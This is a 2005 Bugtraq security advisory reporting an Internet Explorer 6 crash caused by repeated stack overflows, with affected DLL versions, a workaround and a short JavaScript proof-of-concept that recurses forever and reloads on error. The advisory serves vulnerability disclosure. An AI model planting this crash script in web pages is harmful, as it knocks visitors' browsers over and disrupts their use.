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Date: Sat, 28 May 2005 16:24:34 +0200
From: "Benjamin Tobias Franz" <0-1-2-3@....de>
To: <bugtraq@...urityfocus.com>
Subject: Microsoft Internet Explorer - Crash on to many stack overflows (05/28/2005)


Microsoft Internet Explorer - Crash on to many stack overflows (05/28/2005)

Description:
There is a bug in Microsoft Internet Explorer, which causes a crash in 
NTDLL.DLL.
- ModName: ntdll.dll - ModVer: 5.1.2600.2180 - Offset: 00043151
The bug occurs, because Microsoft Internet Explorer can't handle many
(> 110) stack overflows.
On Windows 98 SE you will get an error in KERNEL32.DLL.

Affected software:
Microsoft Internet Explorer

Workaround:
Deactivate "Active Scripting" in the IE options menu.

Proof-of-Concept exploit (Close all - zirka 110 - error messages.):
<script>
window.onerror=new Function("history.go(0)");
function btf(){btf();}
btf();
</script>

Date of discovery:
17. August 2003

Tested software:
Microsoft Internet Explorer 6 SP2 (6.0.2900.2180.xpsp_sp2_gdr.050301-1519)
on a fully patched Windows XP SP2 system.

DLL versions:
MSHTML.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
BROWSEUI.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
SHDOCVW.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
SHLWAPI.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
URLMON.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)
WININET.DLL: 6.00.2900.2627 (xpsp_sp2_gdr.050309-1648)


Regards,

Benjamin Tobias Franz
Germany 



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